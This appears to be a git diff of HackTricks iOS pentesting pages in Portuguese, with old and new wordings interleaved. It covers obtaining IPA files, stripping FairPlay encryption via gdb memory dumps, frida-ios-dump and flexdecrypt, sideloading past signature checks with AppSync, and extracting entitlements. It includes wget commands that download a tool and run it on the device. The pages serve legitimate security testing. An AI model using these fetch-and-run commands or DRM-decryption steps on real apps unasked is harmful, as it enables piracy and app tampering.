Streaming file from device...
|
||||
Writing bytes to destination...
|
||||
Successfully downloaded /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/.com.apple.mobile_container_manager.metadata.plist to .com.apple.mobile_container_manager.metadata.plist
|
||||
```
|
||||
Você também pode fazer upload de arquivos para o dispositivo iOS com `file upload <local_file_path>`.
|
||||
|
||||
## Obtendo e Extraindo Apps
|
||||
|
||||
### Obtendo o Arquivo IPA de um Link de Distribuição OTA
|
||||
|
||||
Durante o desenvolvimento, apps são às vezes fornecidos para testadores via distribuição over-the-air (OTA). Nessa situação, você receberá um link itms-services, como o seguinte:
|
||||
```
|
||||
itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist
|
||||
```
|
||||
Você pode usar a ferramenta [ITMS services asset downloader](https://www.npmjs.com/package/itms-services) para baixar o IPA de uma URL de distribuição OTA. Instale-a via npm:
|
||||
```bash
|
||||
$ npm install -g itms-services
|
||||
```
|
||||
Salve o arquivo IPA localmente com o seguinte comando:
|
||||
```bash
|
||||
# itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||
```
|
||||
### Aquisição do Binário do App
|
||||
|
||||
1. **De um IPA**:
|
||||
|
||||
Se você tem o IPA (provavelmente incluindo um binário do app já descriptografado), descompacte-o e você está pronto para começar. O binário do app está localizado no diretório principal do pacote (.app), por exemplo, `Payload/Telegram X.app/Telegram X`. Veja a subseção seguinte para detalhes sobre a extração das listas de propriedades.
|
||||
|
||||
> No Finder do macOS, diretórios .app são abertos clicando com o botão direito e selecionando "Mostrar Conteúdo do Pacote". No terminal, você pode simplesmente usar `cd` para entrar neles.
|
||||
2. De um **dispositivo com Jailbreak**:
|
||||
|
||||
Se você não tem o IPA original, então você precisa de um dispositivo com Jailbreak onde você irá **instalar o app** (por exemplo, via App Store). Uma vez instalado, você precisa **extrair o binário do app da memória e reconstruir o arquivo IPA**. Por causa do DRM, o arquivo binário do app é criptografado quando está armazenado no dispositivo iOS, então simplesmente puxá-lo do Bundle (seja através de SSH ou Objection) não será suficiente para engenharia reversa (leia a próxima seção).
|
||||
|
||||
### Descriptografia (Manual)
|
||||
|
||||
Ao contrário de um Aplicativo Android, o binário de um app iOS **só pode ser desmontado** e não descompilado.\
|
||||
Quando um aplicativo é enviado para a app store, a Apple primeiro verifica a conduta do app e antes de liberá-lo para a app-store, **a Apple criptografa o binário usando** [**FairPlay**](https://developer.apple.com/streaming/fps/). Então o binário baixado da app store é criptografado complicando as tarefas de engenharia reversa.
|
||||
|
||||
No entanto, observe que existem outros **softwares de terceiros que podem ser usados para ofuscar** os binários resultantes.
|
||||
|
||||
Para executar o binário criptografado, o dispositivo precisa descriptografá-lo na memória. Então, é possível **despejar o binário descriptografado da memória**.
|
||||
|
||||
Primeiro, verifique se o binário foi compilado com a flag PIE (Código Independente de Posição):
|
||||
```bash
|
||||
otool -Vh Original_App #Check the last word of the last line of this code
|
||||
Home:
|
||||
Mach header
|
||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
MH_MAGIC_64 X86_64 ALL 0x00 EXECUTE 47 6080 NOUNDEFS DYLDLINK TWOLEVEL PIE
|
||||
```
|
||||
Se estiver configurado, você pode usar o script [`change_macho_flags.py`](https://chromium.googlesource.com/chromium/src/+/49.0.2623.110/build/mac/change\_mach\_o\_flags.py) para removê-lo com python2:
|
||||
```bash
|
||||
python change_mach_o_flags.py --no-pie Original_App
|
||||
otool -Vh Original_App
|
||||
python change_macho_flags.py --no-pie Original_App
|
||||
otool -Vh Hello_World
|
||||
Hello_World:
|
||||
Mach header
|
||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
MH_MAGIC ARM V7 0x00 EXECUTE 22 2356 NOUNDEFS DYLDLINK TWOLEVEL MH_NO_HEAP_EXECUTION
|
||||
```
|
||||
Agora que a flag PIE não está definida, o OS carregará o programa em um **local de início fixo** todas as vezes. Para encontrar este **local**, você pode usar:
|
||||
```bash
|
||||
otool -l Original_App | grep -A 3 LC_SEGMENT | grep -A 1 __TEXT
|
||||
segname __TEXT
|
||||
vmaddr 0x00004000
|
||||
```
|
||||
Então, é necessário extrair o intervalo de memória que precisa ser despejado:
|
||||
**Identificação da Seção Criptografada e Despejo de Memória:**
|
||||
|
||||
Determine o início e o fim dos endereços da seção criptografada usando `otool` e faça o despejo da memória do dispositivo com jailbreak usando gdb.
|
||||
```bash
|
||||
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
||||
cmd LC_ENCRYPTION_INFO
|
||||
cmdsize 20
|
||||
cryptoff 16384
|
||||
cryptsize 17416192
|
||||
cryptid 0
|
||||
```
|
||||
O valor de **`cryptoff`** indica o endereço inicial do conteúdo criptografado e **`cryptsize`** indica o tamanho do conteúdo criptografado.
|
||||
|
||||
Assim, o `endereço inicial` para o dump será `vmaddr + cryptoff` e o `endereço final` será `endereço inicial + cryptsize`\
|
||||
Neste caso: `start_address = 0x4000 + 0x4000 = 0x8000` \_\_ e `end_address = 0x8000 + 0x109c000 = 0x10a4000`
|
||||
|
||||
Com essa informação, basta executar a aplicação no dispositivo com jailbreak, anexar ao processo com gdb (`gdb -p <pid>`) e despejar a memória:
|
||||
```bash
|
||||
dump memory dump.bin 0x8000 0x10a4000
|
||||
```
|
||||
Parabéns! Você descriptografou a seção criptografada em dump.bin. Agora **transfira este dump para o seu computador e substitua a seção criptografada pela descriptografada**:
|
||||
**Sobrescrevendo a Seção Criptografada:**
|
||||
|
||||
Substitua a seção criptografada no binário do aplicativo original pelo despejo descriptografado.
|
||||
```bash
|
||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||
```
|
||||
Há mais um passo a completar. A aplicação ainda está **indicando** em seus metadados que está **criptografada**, mas **não está**. Então, quando executada, o dispositivo tentará descriptografar a seção já descriptografada e vai falhar.
|
||||
No entanto, você pode usar ferramentas como [**MachOView**](https://sourceforge.net/projects/machoview/) para alterar essa informação. Basta abrir o binário e definir o **cryptid** para 0:
|
||||
**Finalizando a Descriptografia:** Modifique os metadados do binário para indicar a ausência de criptografia usando ferramentas como **MachOView**, definindo o `cryptid` como 0.
|
||||
|
||||
![](<../../.gitbook/assets/image (470).png>)
|
||||
### **Descriptografia (Automaticamente)**
|
||||
|
||||
### Descriptografia (Automática)
|
||||
#### **frida-ios-dump**
|
||||
A ferramenta [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) é utilizada para **descriptografar e extrair aplicativos automaticamente** de dispositivos iOS. Inicialmente, é necessário configurar o `dump.py` para se conectar ao dispositivo iOS, o que pode ser feito através do localhost na porta 2222 via **iproxy** ou diretamente através do endereço IP e porta do dispositivo.
|
||||
|
||||
#### frida-ios-dump
|
||||
|
||||
Você pode usar ferramentas como [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) para **remover automaticamente a criptografia de um app**.
|
||||
|
||||
Primeiro, certifique-se de que a configuração no **Frida-ios-dump** `dump.py` esteja definida para localhost com a porta 2222 quando usar **iproxy**, ou para o endereço IP real e porta do dispositivo de onde você deseja extrair o binário.
|
||||
|
||||
Agora você pode usar a ferramenta com segurança para **enumerar** os **apps** **instalados**:
|
||||
As aplicações instaladas no dispositivo podem ser listadas com o comando:
|
||||
```bash
|
||||
$ python dump.py -l
|
||||
PID Name Identifier
|
||||
---- --------------- -------------------------------------
|
||||
860 Cydia com.saurik.Cydia
|
||||
1130 Settings com.apple.Preferences
|
||||
685 Mail com.apple.mobilemail
|
||||
834 Telegram ph.telegra.Telegraph
|
||||
- Stocks com.apple.stocks
|
||||
...
|
||||
```
|
||||
e você pode **dump** **um** dos binários listados:
|
||||
Para fazer dump de um aplicativo específico, como o Telegram, o seguinte comando é utilizado:
|
||||
```bash
|
||||
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
||||
|
||||
Start the target app ph.telegra.Telegraph
|
||||
Dumping Telegram to /var/folders/qw/gz47_8_n6xx1c_lwq7pq5k040000gn/T
|
||||
[frida-ios-dump]: HockeySDK.framework has been loaded.
|
||||
[frida-ios-dump]: Load Postbox.framework success.
|
||||
[frida-ios-dump]: libswiftContacts.dylib has been dlopen.
|
||||
...
|
||||
start dump /private/var/containers/Bundle/Application/14002D30-B113-4FDF-BD25-1BF740383149/Telegram.app/Frameworks/libswiftsimd.dylib
|
||||
libswiftsimd.dylib.fid: 100%|██████████| 343k/343k [00:00<00:00, 1.54MB/s]
|
||||
start dump /private/var/containers/Bundle/Application/14002D30-B113-4FDF-BD25-1BF740383149/Telegram.app/Frameworks/libswiftCoreData.dylib
|
||||
libswiftCoreData.dylib.fid: 100%|██████████| 82.5k/82.5k [00:00<00:00, 477kB/s]
|
||||
5.m4a: 80.9MB [00:14, 5.85MB/s]
|
||||
0.00B [00:00, ?B/s]Generating "Telegram.ipa"
|
||||
```
|
||||
Após isso, o arquivo `Telegram.ipa` será criado no seu diretório atual. Você pode validar o sucesso do dump removendo o aplicativo e reinstalando-o (por exemplo, usando [**ios-deploy**](https://github.com/ios-control/ios-deploy) `ios-deploy -b Telegram.ipa`). Note que isso só funcionará em dispositivos com jailbreak, pois caso contrário a assinatura não será válida.
|
||||
Este comando inicia o despejo do aplicativo, resultando na criação de um arquivo `Telegram.ipa` no diretório atual. Este processo é adequado para dispositivos com jailbreak, pois aplicativos não assinados ou falsamente assinados podem ser reinstalados usando ferramentas como [**ios-deploy**](https://github.com/ios-control/ios-deploy).
|
||||
|
||||
#### flexdecrypt
|
||||
|
||||
Para **obter o arquivo ipa** de um aplicativo instalado, você também pode usar a ferramenta [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) ou um wrapper da ferramenta chamado [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)**.**\
|
||||
De qualquer forma, você precisará **instalar o flexdecrypt no dispositivo** executando algo como:
|
||||
```markup
|
||||
wget https://github.com/JohnCoates/flexdecrypt/releases/download/1.1/flexdecrypt.deb
|
||||
dpkg -i flexdecrypt.deb
|
||||
rm flexdecrypt.deb
|
||||
```
|
||||
e para usar o **flexdump**:
|
||||
#### **flexdecrypt**
|
||||
A ferramenta [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), juntamente com seu wrapper [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), permite a extração de arquivos IPA de aplicativos instalados. Os comandos de instalação para o **flexdecrypt** no dispositivo incluem o download e a instalação do pacote `.deb`. O **flexdump** pode ser usado para listar e despejar aplicativos, conforme mostrado nos comandos abaixo:
|
||||
```bash
|
||||
apt install zip unzip
|
||||
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
||||
flexdump list #List apps
|
||||
flexdump dump Twitter.app #Create .ipa file from app
|
||||
flexdump list
|
||||
flexdump dump Twitter.app
|
||||
```
|
||||
#### bagbak
|
||||
|
||||
Mais um decryptor de App baseado em frida. Requer dispositivo iOS com jailbreak e [frida.re](https://www.frida.re/)
|
||||
#### **bagbak**
|
||||
[**bagbak**](https://github.com/ChiChou/bagbak), outra ferramenta baseada em Frida, requer um dispositivo com jailbreak para descriptografia de aplicativos:
|
||||
```bash
|
||||
bagbak --raw Chrome
|
||||
```
|
||||
#### r2flutch
|
||||
#### **r2flutch**
|
||||
**r2flutch**, utilizando tanto o radare quanto o frida, serve para descriptografar e extrair aplicativos. Mais informações podem ser encontradas em sua [**página do GitHub**](https://github.com/as0ler/r2flutch).
|
||||
|
||||
[**r2flutch**](https://github.com/as0ler/r2flutch) é uma ferramenta que utiliza **radare** e **frida** para **decifrar** e **extrair apps ios**.
|
||||
### **Instalando Aplicativos**
|
||||
|
||||
Veja o **github** para mais informações.
|
||||
**Sideloading** refere-se à instalação de aplicativos fora da App Store oficial. Esse processo é gerenciado pelo **daemon installd** e requer que os aplicativos sejam assinados com um certificado emitido pela Apple. Dispositivos com jailbreak podem contornar isso através do **AppSync**, permitindo a instalação de pacotes IPA falsamente assinados.
|
||||
|
||||
## Instalando Apps
|
||||
#### **Ferramentas de Sideloading**
|
||||
|
||||
Quando você instala um aplicativo sem usar a App Store da Apple, isso é chamado de **sideloading**. Existem várias maneiras de fazer sideloading, descritas abaixo. No dispositivo iOS, o processo de instalação é então gerenciado pelo **daemon installd**, que irá **desempacotar** e **instalar** o aplicativo. Para integrar serviços de aplicativos ou ser instalado em um dispositivo iOS, todos os **aplicativos devem ser assinados com um certificado emitido pela Apple**. Isso significa que o aplicativo só pode ser instalado após a verificação bem-sucedida da assinatura do código. No entanto, em um telefone com jailbreak, você pode **contornar esse recurso de segurança com** [**AppSync**](http://repo.hackyouriphone.org/appsyncunified), um pacote disponível na loja Cydia. Ele contém inúmeras aplicações úteis que aproveitam os privilégios de root fornecidos pelo jailbreak para executar funcionalidades avançadas. **AppSync é um tweak que corrige o installd**, permitindo a instalação de pacotes IPA com assinatura falsa.
|
||||
- **Cydia Impactor**: Uma ferramenta para assinar e instalar arquivos IPA no iOS e arquivos APK no Android. Guias e solução de problemas podem ser encontrados em [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
|
||||
|
||||
Existem diferentes métodos para instalar um pacote IPA em um dispositivo iOS, que são descritos em detalhes abaixo.
|
||||
- **libimobiledevice**: Uma biblioteca para Linux e macOS para se comunicar com dispositivos iOS. Comandos de instalação e exemplos de uso para ideviceinstaller são fornecidos para instalar aplicativos via USB.
|
||||
|
||||
> Observe que o iTunes não está mais disponível no macOS Catalina. Se você estiver usando uma versão mais antiga do macOS, o iTunes ainda está disponível, mas desde o iTunes 12.7 não é possível instalar aplicativos.
|
||||
- **ipainstaller**: Esta ferramenta de linha de comando permite a instalação direta de aplicativos em dispositivos iOS.
|
||||
|
||||
#### Cydia Impactor
|
||||
- **ios-deploy**: Para usuários de macOS, o ios-deploy instala aplicativos iOS a partir da linha de comando. Descompactar o IPA e usar a flag `-m` para o lançamento direto do aplicativo fazem parte do processo.
|
||||
|
||||
[Cydia Impactor](http://www.cydiaimpactor.com) foi originalmente criado para fazer jailbreak em iPhones, mas foi reescrito para assinar e instalar pacotes IPA em dispositivos iOS via sideloading (e até arquivos APK em dispositivos Android). Cydia Impactor está disponível para Windows, macOS e Linux. Um [guia passo a passo e etapas de solução de problemas estão disponíveis em yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
|
||||
- **Xcode**: Utilize o Xcode para instalar aplicativos navegando até **Window/Devices and Simulators** e adicionando o aplicativo em **Installed Apps**.
|
||||
|
||||
#### libimobiledevice
|
||||
#### **Permitir a Instalação de Aplicativos em Dispositivos Não-iPad**
|
||||
Para instalar aplicativos específicos para iPad em dispositivos iPhone ou iPod touch, o valor **UIDeviceFamily** no arquivo **Info.plist** precisa ser alterado para **1**. Essa modificação, no entanto, requer a reassinatura do arquivo IPA devido às verificações de validação de assinatura.
|
||||
|
||||
No Linux e também no macOS, você pode alternativamente usar [libimobiledevice](https://www.libimobiledevice.org), uma biblioteca de protocolo de software multiplataforma e um conjunto de ferramentas para comunicação nativa com dispositivos iOS. Isso permite instalar aplicativos por uma conexão USB executando o ideviceinstaller. A conexão é implementada com o daemon de multiplexação USB [usbmuxd](https://www.theiphonewiki.com/wiki/Usbmux), que fornece um túnel TCP sobre USB.
|
||||
**Nota**: Este método pode falhar se o aplicativo exigir capacidades exclusivas de modelos de iPad mais recentes ao usar um iPhone ou iPod touch mais antigo.
|
||||
|
||||
O pacote para libimobiledevice estará disponível no gerenciador de pacotes do seu Linux. No macOS, você pode instalar libimobiledevice via brew:
|
||||
```bash
|
||||
$ brew install libimobiledevice
|
||||
$ brew install ideviceinstaller
|
||||
```
|
||||
Após a instalação, você terá várias novas ferramentas de linha de comando disponíveis, como `ideviceinfo`, `ideviceinstaller` ou `idevicedebug`.
|
||||
```bash
|
||||
# The following command will show detailed information about the iOS device connected via USB.
|
||||
$ ideviceinfo
|
||||
# The following command will install the IPA to your iOS device.
|
||||
$ ideviceinstaller -i iGoat-Swift_v1.0-frida-codesigned.ipa
|
||||
...
|
||||
Install: Complete
|
||||
# The following command will start the app in debug mode, by providing the bundle name. The bundle name can be found in the previous command after "Installing".
|
||||
$ idevicedebug -d run OWASP.iGoat-Swift
|
||||
```
|
||||
#### ipainstaller
|
||||
|
||||
O IPA também pode ser instalado diretamente no dispositivo iOS via linha de comando com [ipainstaller](https://github.com/autopear/ipainstaller). Após copiar o arquivo para o dispositivo, por exemplo via scp, você pode executar o ipainstaller com o nome do arquivo IPA:
|
||||
```bash
|
||||
$ ipainstaller App_name.ipa
|
||||
```
|
||||
#### ios-deploy
|
||||
|
||||
No macOS, você também pode usar a ferramenta **ios-deploy** para instalar aplicativos iOS a partir da linha de comando. Você precisará descompactar seu IPA, pois o ios-deploy usa os pacotes de aplicativos para instalar apps.
|
||||
```bash
|
||||
$ unzip Name.ipa
|
||||
$ ios-deploy --bundle 'Payload/Name.app' -W -d -v
|
||||
```
|
||||
Após a instalação do app no dispositivo iOS, você pode simplesmente iniciá-lo adicionando a flag `-m`, que iniciará o debug diretamente sem instalar o app novamente.
|
||||
```bash
|
||||
$ ios-deploy --bundle 'Payload/Name.app' -W -d -v -m
|
||||
```
|
||||
#### Xcode
|
||||
|
||||
É possível também usar a IDE Xcode para instalar apps iOS seguindo os passos abaixo:
|
||||
|
||||
1. Inicie o Xcode
|
||||
2. Selecione **Window/Devices and Simulators**
|
||||
3. Selecione o dispositivo iOS conectado e clique no sinal de **+** em **Installed Apps**.
|
||||
|
||||
#### Permitir Instalação de Aplicativos em Dispositivo que Não seja iPad
|
||||
|
||||
Às vezes, um aplicativo pode exigir ser usado em um dispositivo iPad. Se você possui apenas dispositivos iPhone ou iPod touch, então pode forçar o aplicativo a aceitar ser instalado e usado nesses tipos de dispositivos. Você pode fazer isso alterando o valor da propriedade **UIDeviceFamily** para o valor **1** no arquivo **Info.plist**.
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
|
||||
<key>UIDeviceFamily</key>
|
||||
<array>
|
||||
<integer>1</integer>
|
||||
</array>
|
||||
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
É importante notar que alterar esse valor quebrará a assinatura original do arquivo IPA, então você precisará assinar novamente o IPA, após a atualização, para poder instalá-lo em um dispositivo no qual a validação de assinatura não tenha sido desativada.
|
||||
|
||||
Esse bypass pode não funcionar se o aplicativo exigir capacidades específicas para iPads modernos enquanto seu iPhone ou iPod for um pouco mais antigo.
|
||||
|
||||
Valores possíveis para a propriedade [UIDeviceFamily](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple_ref/doc/uid/TP40009252-SW11) podem ser encontrados na documentação da Apple Developer.
|
||||
## Referências
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,27 +1,31 @@
|
|||
# Extraindo Entitlements de um Aplicativo Compilado
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Página copiada de** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links)
|
||||
Resumo da página [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
||||
|
||||
Se você só tem o IPA do aplicativo ou simplesmente o aplicativo instalado em um dispositivo com jailbreak, normalmente não será possível encontrar arquivos `.entitlements`. Isso também pode acontecer com o arquivo `embedded.mobileprovision`. Ainda assim, você deve ser capaz de extrair as listas de propriedades de entitlements do binário do aplicativo por conta própria (o qual você obteve anteriormente, conforme explicado no capítulo "iOS Basic Security Testing", seção "Acquiring the App Binary").
|
||||
### **Extraindo Entitlements e Arquivos de Provisão Móvel**
|
||||
|
||||
Os seguintes passos devem funcionar mesmo quando direcionados a um binário criptografado. Se por algum motivo não funcionarem, você terá que descriptografar e extrair o aplicativo com, por exemplo, Clutch (se compatível com sua versão do iOS), frida-ios-dump ou similar.
|
||||
Ao lidar com um arquivo IPA de um aplicativo ou um aplicativo instalado em um dispositivo com jailbreak, pode não ser possível encontrar arquivos `.entitlements` ou o arquivo `embedded.mobileprovision` diretamente. No entanto, listas de propriedades de entitlements ainda podem ser extraídas do binário do aplicativo, seguindo os procedimentos descritos no capítulo "Teste de Segurança Básica do iOS", particularmente na seção "Adquirindo o Binário do Aplicativo".
|
||||
|
||||
**Extraindo a Lista de Entitlements Plist do Binário do Aplicativo**
|
||||
Mesmo com binários criptografados, certas etapas podem ser empregadas para extrair esses arquivos. Caso essas etapas falhem, ferramentas como Clutch (se compatível com a versão do iOS), frida-ios-dump, ou utilitários similares podem ser necessários para descriptografar e extrair o aplicativo.
|
||||
|
||||
Se você tem o binário do aplicativo em seu computador, uma abordagem é usar o binwalk para extrair (`-e`) todos os arquivos XML (`-y=xml`):
|
||||
#### **Extraindo o Plist de Entitlements do Binário do Aplicativo**
|
||||
|
||||
Com o binário do aplicativo acessível em um computador, o **binwalk** pode ser utilizado para extrair todos os arquivos XML. O comando abaixo demonstra como fazer isso:
|
||||
```bash
|
||||
$ binwalk -e -y=xml ./Telegram\ X
|
||||
|
||||
|
@ -30,49 +34,33 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
|||
1430180 0x15D2A4 XML document, version: "1.0"
|
||||
1458814 0x16427E XML document, version: "1.0"
|
||||
```
|
||||
Ou você pode usar o radare2 (`-qc` para executar um comando _silenciosamente_ e sair) para procurar todas as strings no binário do app (`izz`) que contenham "PropertyList" (`~PropertyList`):
|
||||
Alternativamente, **radare2** pode ser usado para executar silenciosamente um comando e sair, procurando todas as strings no binário do aplicativo que contêm "PropertyList":
|
||||
```bash
|
||||
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||
|
||||
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>\n<!DOCTYPE plist PUBLIC
|
||||
"-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">
|
||||
...<key>com.apple.security.application-groups</key>\n\t\t<array>
|
||||
\n\t\t\t<string>group.ph.telegra.Telegraph</string>...
|
||||
|
||||
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE plist PUBLIC
|
||||
"-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">\n
|
||||
<dict>\n\t<key>cdhashes</key>...
|
||||
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
|
||||
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
|
||||
```
|
||||
Nos dois casos (binwalk ou radare2), conseguimos extrair os mesmos dois arquivos `plist`. Se inspecionarmos o primeiro (0x0015d2a4), veremos que conseguimos recuperar completamente o [arquivo de entitlements original do Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
Ambos métodos, binwalk e radare2, permitem a extração de arquivos `plist`, com uma inspeção do primeiro (0x0015d2a4) revelando uma recuperação bem-sucedida do [arquivo de direitos originais do Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
|
||||
> Nota: o comando `strings` não ajudará aqui, pois não será capaz de encontrar essa informação. Melhor usar grep com a flag `-a` diretamente no binário ou usar radare2 (`izz`)/rabin2 (`-zz`).
|
||||
|
||||
Se você acessar o binário do aplicativo em um dispositivo com jailbreak (por exemplo, via SSH), você pode usar grep com a flag `-a, --text` (trata todos os arquivos como texto ASCII):
|
||||
